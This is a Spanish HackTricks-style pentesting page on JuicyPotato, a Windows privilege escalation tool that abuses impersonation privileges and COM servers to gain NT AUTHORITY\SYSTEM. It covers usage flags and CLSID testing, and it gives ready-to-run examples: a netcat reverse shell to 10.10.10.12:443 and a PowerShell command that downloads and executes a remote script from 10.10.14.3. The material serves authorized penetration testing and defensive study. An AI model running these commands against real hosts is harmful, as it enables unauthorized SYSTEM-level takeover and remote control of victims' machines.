JuicyPotato

Support HackTricks

JuicyPotato no funciona en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, PrintSpoofer, RoguePotato, SharpEfsPotato se pueden usar para aprovechar los mismos privilegios y obtener acceso a nivel NT AUTHORITY\SYSTEM. Ver:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (abusando de los privilegios dorados)

Una versión azucarada de RottenPotatoNG, con un poco de jugo, es decir, otra herramienta de escalada de privilegios locales, de cuentas de servicio de Windows a NT AUTHORITY\SYSTEM

Resumen

Del Readme de juicy-potato:

RottenPotatoNG y sus variantes aprovechan la cadena de escalada de privilegios basada en BITS servicio teniendo el oyente MiTM en 127.0.0.1:6666 y cuando tienes privilegios SeImpersonate o SeAssignPrimaryToken. Durante una revisión de la build de Windows encontramos una configuración donde BITS estaba intencionalmente deshabilitado y el puerto 6666 estaba ocupado.

Decidimos armar RottenPotatoNG: Saluda a Juicy Potato.

Para la teoría, consulta Rotten Potato - Escalada de Privilegios de Cuentas de Servicio a SYSTEM y sigue la cadena de enlaces y referencias.

Descubrimos que, además de BITS, hay varios servidores COM que podemos abusar. Solo necesitan:

  1. ser instanciables por el usuario actual, normalmente un “usuario de servicio” que tiene privilegios de suplantación

  2. implementar la interfaz IMarshal

  3. ejecutarse como un usuario elevado (SYSTEM, Administrador, …)

Después de algunas pruebas, obtuvimos y probamos una lista extensa de CLSID interesantes en varias versiones de Windows.

Detalles jugosos

JuicyPotato te permite:

  • CLSID objetivo elige cualquier CLSID que desees. Aquí puedes encontrar la lista organizada por SO.

  • Puerto de escucha COM define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)

  • Dirección IP de escucha COM vincula el servidor a cualquier IP

  • Modo de creación de procesos dependiendo de los privilegios del usuario suplantado puedes elegir entre:

  • CreateProcessWithToken (necesita SeImpersonate)

  • CreateProcessAsUser (necesita SeAssignPrimaryToken)

  • ambos

  • Proceso a lanzar lanza un ejecutable o script si la explotación tiene éxito

  • Argumento del proceso personaliza los argumentos del proceso lanzado

  • Dirección del servidor RPC para un enfoque sigiloso puedes autenticarte en un servidor RPC externo

  • Puerto del servidor RPC útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto 135

  • MODO DE PRUEBA principalmente para fines de prueba, es decir, probando CLSIDs. Crea el DCOM e imprime el usuario del token. Ver aquí para pruebas

Uso

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Pensamientos finales

Del Readme de juicy-potato:

Si el usuario tiene privilegios SeImpersonate o SeAssignPrimaryToken, entonces eres SYSTEM.

Es casi imposible prevenir el abuso de todos estos servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de DCOMCNFG, pero buena suerte, esto va a ser un desafío.

La solución real es proteger cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas * SERVICE. Detener DCOM ciertamente inhibiría este exploit, pero podría tener un impacto serio en el sistema operativo subyacente.

De: http://ohpe.it/juicy-potato/

Ejemplos

Nota: Visita esta página para una lista de CLSIDs para probar.

Obtener un shell reverso de nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Lanzar un nuevo CMD (si tienes acceso RDP)

Problemas de CLSID

A menudo, el CLSID predeterminado que utiliza JuicyPotato no funciona y el exploit falla. Por lo general, se requieren múltiples intentos para encontrar un CLSID funcional. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:

Verificando CLSIDs

Primero, necesitarás algunos ejecutables además de juicypotato.exe.

Descarga Join-Object.ps1 y cárgalo en tu sesión de PS, y descarga y ejecuta GetCLSID.ps1. Ese script creará una lista de posibles CLSIDs para probar.

Luego descarga test_clsid.bat (cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y cuando el número de puerto cambie, significará que el CLSID funcionó.

Verifica los CLSIDs funcionales usando el parámetro -c

Referencias

Apoya a HackTricks

Last updated